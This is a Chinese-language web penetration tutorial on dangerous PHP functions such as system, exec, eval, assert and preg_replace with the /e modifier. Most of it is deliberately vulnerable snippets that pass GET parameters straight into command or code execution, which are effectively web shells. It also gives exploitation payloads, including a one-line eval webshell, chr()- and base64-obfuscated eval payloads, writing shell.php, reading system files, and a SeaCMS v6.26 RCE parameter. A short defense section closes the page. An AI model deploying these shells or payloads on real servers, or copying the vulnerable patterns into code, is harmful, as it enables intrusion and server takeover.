# Web 渗透 之 PHP 危险函数

# 后台代码 - PHP 危险函数

PHP 中有一些函数是比较危险的,也是进行 PHP 代码审计的时候需要重点关注的内容。

# 0x01 OS 命令执行函数

这些函数会调用系统命令,类似于 bash 或者 cmd ,PHP 会自动区分平台。

  • 系统命令函数,调用的是服务器命令。
  • PHP 解释器会自动识别系统平台。
  • 如果参数可控,就相当于 Shell
  • 在浏览器端输入命令,在服务器端执行。
  • 通过 Web 方式传参调用系统命令,无法切换工作目录,非持久性连接,对比反弹 Shell。

# system()

system() 能够将字符串作为 OS 命令执行。

  • 自带输出功能
1
2
3
4
5
6
7
8
9
10
11
<meta charset='gb2312'>
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo"
?cmd=ipconfig
";
}
?>

# exec()

exec () 函数能将字符串作为 OS 命令执行。

  • 需要输出命令执行结果
  • 不支持命令中有空格
1
2
3
4
5
6
7
8
9
10
11
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET['cmd']);
}else{
echo"
?cmd=whoami
";
}
?>

# shell_exec()

将函数中的参数当做 OS 命令执行。

  • 需要输出命令执行结果。
1
2
3
4
5
6
7
8
<pre>
<?php
if(isset($_GET['cmd'])){
print shell_exec($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>

# passthru()

将字符串当做系统命令执行。

  • 自带输出功能
1
2
3
4
5
6
7
8
<pre>
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}else{
echo"?cmd=whoami";
}
?>

# popen()

popen() 能够执行 OS 命令。

  • 此函数没有回显,但是可以执行命令
  • ?cmd=ipconfig >> 1.txt 或者 whoami > 1.txt
1
2
3
4
5
6
<pre>
<?php
if(isset($_GET['cmd'])){
popen($_GET['cmd'],'r');
}
?>

# 反引号

反引号 `` 内的字符串,也会被解析成 OS 命令。

1
2
3
4
5
6
7
8
9
<pre>
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}else{
echo"?cmd=whoami";
}
?>

# 0x02 PHP 代码执行函数

PHP 中有很多函数,可以将(符合 PHP 语法规范)字符串当做 PHP 代码执行。

# eval()

eval() 会将符合 PHP 语法规范字符串当作 php 代码执行

  • 虽然可以以函数的方式调用 eval() ,但是 eval() 不是 PHP 的函数,而是一种语法结构。

  • eval() 执行的的字符串要以分号结束。

  • 其他命令执行的方式

    • ?code=phpinfo();
    • ?code=${phpinfo()};
    • ?code=1;phpinfo();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
//phpinfo();
//$str = "phpinfo();";
//echo $str;
$str = $_GET['code'];
eval($str);
// ?code=phinfo();
// ?code=print(md5(123456));
// ?code=system(whoami);
// ?code=system('net user');
//
?>
$str = addslashes($_GET['code']);
echo $str;
eval($str);
/*
编码
1. ascii 编码
?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(110).chr(101).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(39).chr(41).chr(59));

2. base64 编码
c3lzdGVtKCduZXQgdXNlcicpOw==
?code=eval(base64_decode(c3lzdGVtKCduZXQgdXNlcicpOw));
*/

# assert()

assert() 同样会将字符串当做 PHP 代码来执行。

  • 字符串结尾可以不添加分号。
1
2
3
4
5
6
7
8
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
assert($code);
}else{
echo "Please submit code!<br />?code=phpinfo()";
}
?>

# preg_replace()

preg_replace() 函数的作用是对字符串进行正则匹配后替换。

参数和返回值如下

1
2
3
4
5
preg_replace($pattern,$replacement,$subject);
preg_replace('/a/','A','abacad'); //AbAcAd
preg_replace('/\[(.*)\]/','A','[phpinfo()]'); //A
echo preg_replace('/\[(.*)\]/','\\1','[phpinfo()]'); //phpinfo()
// \\1 代表正则表达式第一次匹配的内容
  • 搜索 $subject 中匹配pattern的部分,以pattern 的部分,以`replacement` 进行替换。
  • $pattern 处,存在 e 修饰符时, $replacement 的值会被当成 PHP 代码来执行。
1
2
3
4
5
6
7
8
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1', $code);
}else{
echo"?code=[phpinfo()]";
}
?>
  • 执行的代码中的参数会被转义

# call_user_func()

call_user_func() 等函数都有调用其他函数的功能,回调函数。

1
2
3
4
$funName = 'assert';
$para = 'phpinfo()';
call_user_func($funName,$para);
//assert(phpinof())
  • $funName 被调用的函数名
  • $para 作为被调用函数的参数,参数中的单引号没有被转义
1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}else{
echo"?fun=assert&amp;para=phpinfo()";
}
?>

# 动态函数a(a(b)

由于 PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了 PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用 call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过了不严格就会造成代码执行漏洞。

  • 不用调用 eval()
1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo "
?a=assert&amp;b=phpinfo()
";
}
?>

# 0x03 拓展知识

# OS 命令注入漏洞

  • 原理以及成因

程序员使用脚本语言(比如 PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令的函数。

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。

  • 漏洞危害

    • 继承 Web 服务器程序权限,去执行系统命令
    • 继承 Web 服务器权限,读写文件
    • 反弹 Shell
    • 控制整个网站
    • 控制整个服务器

# 命令注入漏洞利用

OS 命令注入漏洞,攻击者直接继承 Web 用户权限,在服务器上执行任意系统命令,危害特别大。以下命令均在 windows 系统下测试成功。

  • 查看系统文件 ?cmd=type c:\windows\system32\drivers\etc\hosts

  • 显示当前路径 ?cmd=cd

  • 写文件

    • 以绝对路径的方式写文件 ?cmd=echo "<?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php

# PHP 代码注入

  • 原理以及成因 代码执行(注入)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于 SQL 注入漏洞,SQLi 是将 SQL 语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个 Web 后门 的存在。
  • 漏洞危害 Web 应用如果存在代码执行漏洞是一件非常可怕的事情。可以通过代码执行漏洞继承 Web 用户权限,执行任意代码。如果服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

# 代码注入漏洞利用

代码执行漏洞的利用方式有很多种,以下简单列出几种。

  • 直接获取 Shell ?code=@eval($_POST[1]);
  • 获取当前文件的绝对路径 ?code=print(__FILE__);
  • 读文件 ?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
  • 写文件 ?code=var_dump(file_put_contents($_POST[1],$_POST[2]));``1=shell.php&2=<?php phpinfo()?>

# 防御漏洞的方法

  • 尽量不要使用 eval 等函数
  • 如果使用的话一定要进行严格的过滤
  • preg_replace 放弃使用 /e 修饰符
  • 尽量减少危险函数的使用,并在 disable_functions 中禁用
1
disable_functions = system,eval
  • 参数的值尽量使用引号包裹,并在拼接前调用 addslashes() 进行转义

# 实战:DVWA Commandi

# 实战:SeaCMSv6.26 RCE

1
?searchtype=5&tid=&area=phpinfo()